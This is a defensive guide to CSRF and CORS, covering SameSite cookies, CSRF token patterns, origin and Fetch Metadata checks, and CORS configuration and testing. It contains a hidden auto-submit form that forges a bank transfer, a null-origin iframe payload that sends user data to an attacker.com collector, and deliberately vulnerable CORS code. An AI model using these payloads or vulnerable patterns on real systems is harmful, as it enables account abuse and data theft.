CSRF and CORS Defense for Modern Web Applications

A deep dive into Cross-Site Request Forgery (CSRF) and Cross-Origin Resource Sharing (CORS)—their threat models, specification-level mechanics, and defense-in-depth implementation patterns for production web applications.

Abstract

CSRF and CORS address opposite sides of the same problem: managing cross-origin trust.

Core mental model:

• Same-Origin Policy (SOP): The browser’s default—scripts can only access resources from the same origin. CORS relaxes this when servers opt in.
• CSRF: Exploits the fact that browsers automatically attach cookies to requests. The attacker’s page triggers a request to your server; your server sees a legitimate session cookie and processes it.
• CORS: Not a security boundary—it’s a relaxation mechanism. Servers declare which foreign origins may read responses. It does not prevent requests from being sent; it prevents responses from being read.

Key invariants:

Design principle: Defense in depth. SameSite cookies are the first line; CSRF tokens cover edge cases; origin verification provides fallback; Fetch Metadata enables server-side filtering.

The CSRF Threat Model

CSRF (Cross-Site Request Forgery) tricks a user’s browser into making authenticated requests to a target site without the user’s intent. The attacker exploits the browser’s automatic inclusion of cookies in requests.

Attack Mechanics

The attack requires three conditions:

1. User is authenticated to the target site with a session cookie
2. Target site relies on ambient authority (cookies alone) for request authentication
3. Attacker can induce the user’s browser to make a request (via <img>, <form>, JavaScript)

Attack flow:

Why it works: The browser sees a request to bank.com and automatically includes bank.com’s cookies. The server cannot distinguish between a legitimate user action and an attacker-induced request—both carry the same session cookie.

Attack Vectors

Example: Hidden form auto-submit

1
<!-- On attacker.com -->
2
<form action="https://bank.com/transfer" method="POST" id="evil">
3
  <input type="hidden" name="to" value="attacker-account" />
4
  <input type="hidden" name="amount" value="10000" />
5
</form>
6
<script>
7
  document.getElementById("evil").submit()
8
</script>

What CSRF Cannot Do

• Read responses: Same-origin policy blocks this; CSRF is write-only
• Forge non-simple requests without preflight: Custom headers trigger OPTIONS
• Bypass SameSite=Strict: Cookie not sent on cross-site requests
• Extract CSRF tokens from pages: Requires XSS (different vulnerability)

SameSite Cookies: The Primary Defense

The SameSite attribute (RFC 6265bis, December 2025) controls when cookies are sent with cross-site requests. It’s the most effective CSRF mitigation because it operates at the browser level.

Enforcement Modes

Specification (draft-ietf-httpbis-rfc6265bis-22):

Same-site vs. cross-site determination:

A request is “same-site” when:

1. The request is not a reload navigation triggered by user interaction, AND
2. The request’s current URL origin shares the same registrable domain as the client’s “site for cookies”

Example:

• app.example.com → api.example.com = same-site (same registrable domain)
• app.example.com → api.other.com = cross-site

Default Behavior (2025)

Browser defaults: Chrome 80+ (February 2020) treats cookies without SameSite as Lax by default. Firefox and Safari do not default to Lax—explicit configuration required.

OWASP recommendation: Always set SameSite explicitly. Relying on browser defaults creates inconsistent behavior across browsers.

1
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly; Path=/

The Lax+POST Exception (Lax-allowing-unsafe)

Design rationale: When Chrome introduced SameSite=Lax as default, it broke SSO (Single Sign-On) flows that use POST for cross-site redirects. The two-minute exception provides backward compatibility.

Mechanism: For cookies created within the last ~120 seconds without an explicit SameSite attribute, browsers may allow cross-site POST requests in top-level navigations.

Security implication: A two-minute window where users are vulnerable to CSRF after cookie creation. SSO flows should complete within this window, but attackers could exploit slow connections.

Mitigation: Always set SameSite=Strict or SameSite=Lax explicitly—the exception only applies to cookies without the attribute.

Cookie Prefixes: __Host- and __Secure-

Cookie prefixes (RFC 6265bis) enforce security properties through naming conventions that browsers validate.

__Secure- prefix:

• Cookie must have Secure attribute
• Cannot be set from non-HTTPS origins

__Host- prefix (strictest):

• Must have Secure attribute
• Must NOT have Domain attribute (locked to exact origin)
• Must have Path=/
• Cannot be overwritten by subdomains

Why __Host- matters: Prevents subdomain cookie injection attacks. If app.example.com sets a session cookie and an attacker controls evil.example.com, without __Host- the attacker could overwrite the session cookie.

1
Set-Cookie: __Host-session=abc123; Secure; HttpOnly; Path=/; SameSite=Strict

Design trade-off: __Host- cookies cannot be shared across subdomains. If your auth system requires auth.example.com to set cookies for app.example.com, use __Secure- instead.

SameSite Limitations

SameSite does not protect against:

1. Same-site attacks: An XSS vulnerability on any subdomain can forge “same-site” requests
2. Subdomain takeover: abandoned.example.com controlled by attacker is same-site as app.example.com
3. GET-based state changes: SameSite=Lax allows top-level GET navigations
4. Speculative navigations: Prerender/prefetch may send cookies before user intent

Defense in depth: SameSite is necessary but not sufficient. Combine with CSRF tokens for state-changing operations.

CSRF Token Patterns

CSRF tokens provide request-level authentication beyond ambient cookies. The server includes a secret token in forms; attackers cannot read this token from the target domain.

Synchronizer Token Pattern (Stateful)

Mechanism: Server generates a random token, stores it in the user’s session, and embeds it in forms. On submission, the server verifies the submitted token matches the stored one.

Design rationale: Attackers cannot read tokens from cross-origin pages (blocked by SOP). Even if they trigger a request, they cannot include the correct token value.

3 collapsed lines
1
import crypto from "crypto"
2

3
class SynchronizerTokenManager {
4
  generateToken(session) {
5
    const token = crypto.randomBytes(32).toString("hex")
6
    session.csrfToken = token
7
    return token
8
  }
9

10
  verifyToken(session, submittedToken) {
11
    if (!session.csrfToken || !submittedToken) {
12
      return false
13
    }
14
    // Constant-time comparison prevents timing attacks
15
    return crypto.timingSafeEqual(Buffer.from(session.csrfToken), Buffer.from(submittedToken))
16
  }
17
}
18

19
// Express middleware
20
app.use((req, res, next) => {
21
  if (!req.session.csrfToken) {
5 collapsed lines
22
    req.session.csrfToken = crypto.randomBytes(32).toString("hex")
23
  }
24
  res.locals.csrfToken = req.session.csrfToken
25
  next()
26
})

Trade-offs:

Signed Double-Submit Cookie Pattern (Stateless)

Mechanism: Server generates a token bound to the session, sets it as a cookie, and requires it in request body/header. Attacker cannot read the cookie to include it in forged requests.

OWASP-recommended structure (prevents cookie injection attacks):

1
Token = HMAC(sessionId + randomValue, secretKey) + "." + randomValue

Why signing is required: Without signing, attackers who can set cookies (via subdomain or other injection) could set both the cookie and body value to match. Signing binds the token to server-side secrets.

3 collapsed lines
1
import crypto from "crypto"
2

3
class SignedDoubleSubmitCSRF {
4
  constructor(secretKey) {
5
    this.secretKey = secretKey
6
  }
7

8
  generateToken(sessionId) {
9
    const randomValue = crypto.randomBytes(16).toString("hex")
10
    const hmac = crypto
11
      .createHmac("sha256", this.secretKey)
12
      .update(sessionId + randomValue)
13
      .digest("hex")
14
    return `${hmac}.${randomValue}`
15
  }
16

17
  verifyToken(sessionId, token) {
18
    if (!token || !token.includes(".")) return false
19

20
    const [submittedHmac, randomValue] = token.split(".")
21
    const expectedHmac = crypto
22
      .createHmac("sha256", this.secretKey)
23
      .update(sessionId + randomValue)
24
      .digest("hex")
25

26
    return crypto.timingSafeEqual(Buffer.from(submittedHmac), Buffer.from(expectedHmac))
27
  }
13 collapsed lines
28
}
29

30
// Cookie: __Host-csrf=<token>; Secure; HttpOnly; SameSite=Strict
31
// Header/Body: X-CSRF-Token: <same token>
32
app.post("/api/transfer", (req, res) => {
33
  const cookieToken = req.cookies["__Host-csrf"]
34
  const headerToken = req.headers["x-csrf-token"]
35

36
  if (!csrf.verifyToken(req.session.id, headerToken) || cookieToken !== headerToken) {
37
    return res.status(403).json({ error: "CSRF validation failed" })
38
  }
39
  // Process request
40
})

Critical implementation detail: The cookie MUST use __Host- prefix and SameSite=Strict to prevent cookie injection attacks.

Custom Request Header Pattern

Mechanism: Require a custom header (e.g., X-CSRF-Token) on state-changing requests. Browsers don’t allow cross-origin JavaScript to set arbitrary headers without a preflight OPTIONS request.

Design rationale: CORS preflight blocks custom headers from cross-origin requests. If the server doesn’t respond to OPTIONS with the right headers, the actual request is never sent.

2 collapsed lines
1
// Server-side middleware
2
function requireCustomHeader(req, res, next) {
3
  const csrfHeader = req.headers["x-requested-with"]
4

5
  // Only applies to state-changing methods
6
  if (["POST", "PUT", "DELETE", "PATCH"].includes(req.method)) {
7
    if (csrfHeader !== "XMLHttpRequest") {
8
      return res.status(403).json({ error: "Missing CSRF header" })
9
    }
10
  }
11
  next()
12
}
13

14
// Client-side (automatically triggers preflight)
9 collapsed lines
15
fetch("/api/transfer", {
16
  method: "POST",
17
  headers: {
18
    "Content-Type": "application/json",
19
    "X-Requested-With": "XMLHttpRequest", // Triggers CORS preflight
20
  },
21
  credentials: "include",
22
  body: JSON.stringify({ amount: 100 }),
23
})

Limitation: Only works for AJAX requests. Form submissions cannot set custom headers.

Framework header conventions:

Origin/Referer Verification

Mechanism: Verify the Origin or Referer header matches expected values. These are “forbidden headers”—JavaScript cannot modify them.

Header availability:

6 collapsed lines
1
const ALLOWED_ORIGINS = new Set(["https://app.example.com", "https://www.example.com"])
2

3
function verifyOrigin(req, res, next) {
4
  const origin = req.headers["origin"]
5
  const referer = req.headers["referer"]
6

7
  // Extract origin from referer if origin is absent
8
  let sourceOrigin = origin
9
  if (!sourceOrigin && referer) {
10
    try {
11
      sourceOrigin = new URL(referer).origin
12
    } catch {
13
      sourceOrigin = null
14
    }
15
  }
16

17
  if (sourceOrigin && !ALLOWED_ORIGINS.has(sourceOrigin)) {
18
    return res.status(403).json({ error: "Invalid origin" })
19
  }
20

21
  // If both absent, fall back to other protections (tokens)
22
  next()
23
}

Edge case: When both Origin and Referer are absent (~1-2% of traffic), the request should either be rejected or require additional verification via CSRF tokens.

Fetch Metadata: Server-Side Request Filtering

Fetch Metadata headers (W3C Working Draft, April 2025) allow servers to distinguish legitimate navigations from potential attacks before processing requests.

Header Values

Sec-Fetch-Site:

Sec-Fetch-Mode:

Sec-Fetch-Dest:

Sec-Fetch-User: ?1 when user-activated (click, keyboard); omitted otherwise.

Resource Isolation Policy

8 collapsed lines
1
function fetchMetadataPolicy(req, res, next) {
2
  const site = req.headers["sec-fetch-site"]
3
  const mode = req.headers["sec-fetch-mode"]
4
  const dest = req.headers["sec-fetch-dest"]
5

6
  // Allow same-origin requests
7
  if (site === "same-origin") {
8
    return next()
9
  }
10

11
  // Allow user-initiated navigations
12
  if (site === "none") {
13
    return next()
14
  }
15

16
  // Allow same-site requests from subdomains
17
  if (site === "same-site" && mode === "navigate") {
18
    return next()
19
  }
20

21
  // Block cross-site requests to sensitive endpoints
22
  if (site === "cross-site") {
23
    // Only allow specific cross-site patterns
24
    if (dest === "image" || dest === "script") {
25
      // Public assets only
26
      if (req.path.startsWith("/public/")) {
27
        return next()
28
      }
29
    }
30
    return res.status(403).json({ error: "Cross-site request blocked" })
31
  }
32

33
  next()
34
}

Browser support (January 2026): Chrome 76+, Firefox 90+, Safari 16.4+, Edge 79+.

Design rationale: The Sec- prefix makes these headers “forbidden”—JavaScript cannot set them, preventing attackers from spoofing request context.

CORS: Controlled Same-Origin Policy Relaxation

Cross-Origin Resource Sharing (CORS) is a browser mechanism allowing servers to declare which foreign origins may read their responses. It does NOT prevent requests from being sent.

The Same-Origin Policy

The Same-Origin Policy (SOP) is the browser’s default security boundary. Two URLs have the same origin if they share:

• Scheme: https: vs http:
• Host: api.example.com vs example.com
• Port: :443 vs :8080

What SOP blocks:

• JavaScript reading cross-origin responses
• Accessing cross-origin DOM
• Reading cross-origin cookies

What SOP does NOT block:

• Sending cross-origin requests
• Embedding cross-origin resources (<img>, <script>, <iframe>)
• Form submissions to cross-origin targets

Simple vs. Preflighted Requests

Simple requests bypass preflight. Per the Fetch Standard, a request is “simple” when ALL conditions are met:

1. Method: GET, HEAD, or POST
2. Headers: Only CORS-safelisted headers (Accept, Accept-Language, Content-Language, Content-Type with restrictions, Range)
3. Content-Type (if present): application/x-www-form-urlencoded, multipart/form-data, or text/plain
4. No ReadableStream in request body
5. No event listeners on XMLHttpRequest.upload

Additional constraint: Total CORS-safelisted request-header value size ≤ 1024 bytes.

Preflighted requests: Any request not meeting simple criteria triggers an OPTIONS preflight.

1
OPTIONS /api/data HTTP/1.1
2
Host: api.example.com
3
Origin: https://app.example.com
4
Access-Control-Request-Method: POST
5
Access-Control-Request-Headers: Content-Type, X-Custom-Header

Server preflight response:

1
HTTP/1.1 204 No Content
2
Access-Control-Allow-Origin: https://app.example.com
3
Access-Control-Allow-Methods: POST, GET, OPTIONS
4
Access-Control-Allow-Headers: Content-Type, X-Custom-Header
5
Access-Control-Max-Age: 86400
6
Vary: Origin

CORS Response Headers

Credentialed Requests and Wildcards

Critical security constraint: When Access-Control-Allow-Credentials: true, wildcards are forbidden.

1
# INVALID - browsers will block
2
Access-Control-Allow-Origin: *
3
Access-Control-Allow-Credentials: true
4

5
# VALID - explicit origin required
6
Access-Control-Allow-Origin: https://app.example.com
7
Access-Control-Allow-Credentials: true
8
Vary: Origin

Design rationale: Wildcard + credentials would expose authenticated content to any origin—effectively disabling SOP for that endpoint.

Vary header requirement: When dynamically reflecting the Origin header, include Vary: Origin to prevent cache poisoning.

The CORS Preflight Cache

Access-Control-Max-Age caches preflight responses, reducing OPTIONS requests for subsequent calls.

Browser limits:

Cache key: Origin + URL + credentials mode. A cached preflight for credentials: 'omit' doesn’t apply to credentials: 'include'.

CORS Misconfigurations and Attacks

CORS misconfigurations can effectively disable SOP protections for your endpoints.

Reflected Origin

Vulnerability: Server reflects any Origin header without validation.

1
// VULNERABLE
2
app.use((req, res, next) => {
3
  res.setHeader("Access-Control-Allow-Origin", req.headers.origin)
4
  res.setHeader("Access-Control-Allow-Credentials", "true")
5
  next()
6
})

Exploit: Attacker’s page can read authenticated responses from any endpoint.

Fix: Validate against an allowlist:

5 collapsed lines
1
const ALLOWED_ORIGINS = new Set(["https://app.example.com", "https://staging.example.com"])
2

3
app.use((req, res, next) => {
4
  const origin = req.headers.origin
5
  if (origin && ALLOWED_ORIGINS.has(origin)) {
6
    res.setHeader("Access-Control-Allow-Origin", origin)
7
    res.setHeader("Access-Control-Allow-Credentials", "true")
8
    res.setHeader("Vary", "Origin")
9
  }
10
  next()
11
})

Null Origin Trust

Vulnerability: Server accepts Origin: null with credentials.

1
Access-Control-Allow-Origin: null
2
Access-Control-Allow-Credentials: true

When browsers send Origin: null:

• Sandboxed iframes (sandbox="allow-scripts")
• Local file access (file:// URLs)
• Data URIs
• CORS redirect chains

Exploit (CVE-2019-9580 pattern):

1
<iframe
2
  sandbox="allow-scripts allow-top-navigation allow-forms"
3
  src="data:text/html,<script>
4
    fetch('https://api.vulnerable.com/user/data', {credentials:'include'})
5
      .then(r => r.json())
6
      .then(data => {
7
        // Exfiltrate data
8
        navigator.sendBeacon('https://attacker.com/collect', JSON.stringify(data))
9
      })
10
  </script>"
11
>
12
</iframe>

Fix: Never allow null origin with credentials. If needed for legitimate use cases (local development), restrict to non-sensitive endpoints.

Regex Bypass

Vulnerability: Flawed regex validation of origins.

1
// VULNERABLE - doesn't anchor end
2
const allowedPattern = /^https:\/\/.*\.example\.com/
3
if (allowedPattern.test(origin)) {
4
  res.setHeader("Access-Control-Allow-Origin", origin)
5
}
6
// Bypass: https://example.com.attacker.com

Fix: Exact matching or properly anchored regex:

1
// SECURE - exact match
2
const ALLOWED_ORIGINS = new Set(["https://app.example.com"])
3

4
// Or properly anchored regex
5
const allowedPattern = /^https:\/\/[a-z]+\.example\.com$/

Subdomain Wildcards

Vulnerability: Allowing any subdomain.

1
// VULNERABLE if subdomains can be compromised
2
if (origin.endsWith(".example.com")) {
3
  res.setHeader("Access-Control-Allow-Origin", origin)
4
}

Risk: Subdomain takeover on abandoned.example.com grants CORS access. Typosquatting subdomains (examp1e.example.com) may also match.

Mitigation: Explicit allowlist of known subdomains; regular audit of DNS records.

Implementation Checklist

Cookie Security

1
Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Strict; Path=/

CSRF Defense Layers

1. Layer 1: SameSite cookies (browser-enforced)

   • SameSite=Strict for session cookies
   • SameSite=Lax minimum if cross-site navigations required

2. Layer 2: CSRF tokens (server-enforced)

   • Signed double-submit for stateless architectures
   • Synchronizer token for session-based applications

3. Layer 3: Origin verification (fallback)

   • Verify Origin or Referer headers
   • Reject requests with neither header OR require token

4. Layer 4: Fetch Metadata (modern browsers)

   • Block Sec-Fetch-Site: cross-site for sensitive endpoints
   • Allow Sec-Fetch-Site: none for user-initiated actions

CORS Security

10 collapsed lines
1
const corsOptions = {
2
  origin: (origin, callback) => {
3
    const ALLOWED = new Set(["https://app.example.com", "https://admin.example.com"])
4

5
    // Allow requests with no origin (same-origin, curl, etc.)
6
    if (!origin) return callback(null, true)
7

8
    if (ALLOWED.has(origin)) {
9
      callback(null, true)
10
    } else {
11
      callback(new Error("CORS not allowed"))
12
    }
13
  },
14
  methods: ["GET", "POST", "PUT", "DELETE"],
15
  allowedHeaders: ["Content-Type", "Authorization", "X-CSRF-Token"],
16
  credentials: true,
17
  maxAge: 86400, // 24 hours (browser may cap lower)
18
  optionsSuccessStatus: 204,
19
}
20

21
app.use(cors(corsOptions))
22

23
// Explicit Vary header for caching
24
app.use((req, res, next) => {
25
  res.setHeader("Vary", "Origin")
26
  next()
27
})

CORS security checklist:

• Never use * with credentials: true
• Validate origins against explicit allowlist
• Never reflect Origin header without validation
• Never trust null origin with credentials
• Include Vary: Origin when dynamically setting CORS headers
• Limit Access-Control-Max-Age appropriately
• Minimize Access-Control-Expose-Headers

Testing and Monitoring

Testing CSRF Protection

# Test without CSRF token (should fail)
curl -X POST https://app.example.com/api/transfer \
  -H "Cookie: session=abc123" \
  -H "Content-Type: application/json" \
  -d '{"amount": 100}'

# Test with wrong origin (should fail with origin verification)
curl -X POST https://app.example.com/api/transfer \
  -H "Cookie: session=abc123" \
  -H "Origin: https://attacker.com" \
  -H "Content-Type: application/json" \
  -d '{"amount": 100}'

Testing CORS Configuration

# Test preflight
curl -X OPTIONS https://api.example.com/data \
  -H "Origin: https://attacker.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: X-Custom-Header" \
  -v

# Test null origin (should fail with credentials)
curl https://api.example.com/data \
  -H "Origin: null" \
  -v

Monitoring Failed Requests

Log CSRF and CORS failures for security monitoring:

5 collapsed lines
1
function securityEventLogger(req, res, next) {
2
  const originalEnd = res.end
3
  res.end = function (...args) {
4
    if (res.statusCode === 403) {
5
      logger.warn("Security block", {
6
        type: res.locals.securityBlockReason,
7
        ip: req.ip,
8
        origin: req.headers.origin,
9
        referer: req.headers.referer,
10
        path: req.path,
11
        method: req.method,
12
        userAgent: req.headers["user-agent"],
13
        fetchSite: req.headers["sec-fetch-site"],
14
      })
15
    }
16
    originalEnd.apply(this, args)
17
  }
18
  next()
19
}

Alerting thresholds:

• Spike in CSRF token failures: Possible attack or token expiration issue
• Repeated null origin attempts: Possible exploitation attempt
• Origin validation failures from same IP: Targeted attack

Conclusion

CSRF and CORS defense requires understanding that browsers automatically include cookies and that CORS is a relaxation mechanism, not a security boundary.

Effective defense requires layers:

1. SameSite=Strict cookies: First line—browser prevents cross-site cookie attachment
2. CSRF tokens: Server-side verification for state-changing operations
3. Origin verification: Fallback when headers are available
4. Fetch Metadata: Modern server-side request classification
5. Strict CORS configuration: Explicit allowlist, never reflect origins, never trust null

Key invariants to enforce:

• GET requests must be safe (no state changes)
• State-changing requests require multiple verification layers
• CORS headers must use explicit allowlists, never wildcards with credentials
• SameSite cookies are necessary but not sufficient—XSS bypasses them

Appendix

Prerequisites

• HTTP cookie mechanics and header structure
• Same-origin policy fundamentals
• Basic cryptographic concepts (HMAC)

Terminology

Summary

• CSRF exploits automatic cookie attachment; SameSite=Strict is the primary defense
• SameSite has limitations: subdomains, XSS, the two-minute Lax+POST window
• CSRF tokens provide server-side verification; signed double-submit works statelessly
• CORS controls who can READ responses, not who can SEND requests
• Never use CORS wildcards with credentials; validate origins against explicit allowlists
• Fetch Metadata enables server-side request filtering based on context
• Defense in depth: combine SameSite + tokens + origin verification + Fetch Metadata

References

Specifications

• RFC 6265bis - Cookies: HTTP State Management Mechanism - SameSite cookie specification (December 2025)
• WHATWG Fetch Standard - CORS protocol specification
• W3C Fetch Metadata Request Headers - Sec-Fetch-* headers (Working Draft, April 2025)

Official Documentation

• OWASP CSRF Prevention Cheat Sheet - Comprehensive defense guidance
• MDN CORS Guide - CORS implementation reference
• MDN SameSite Cookies - Cookie attribute documentation
• web.dev SameSite Cookies Explained - Chrome team guidance

Security Research

• PortSwigger CORS Vulnerabilities - CORS misconfiguration exploitation
• PortSwigger Bypassing SameSite Restrictions - SameSite bypass techniques
• Chromium SameSite FAQ - Browser implementation details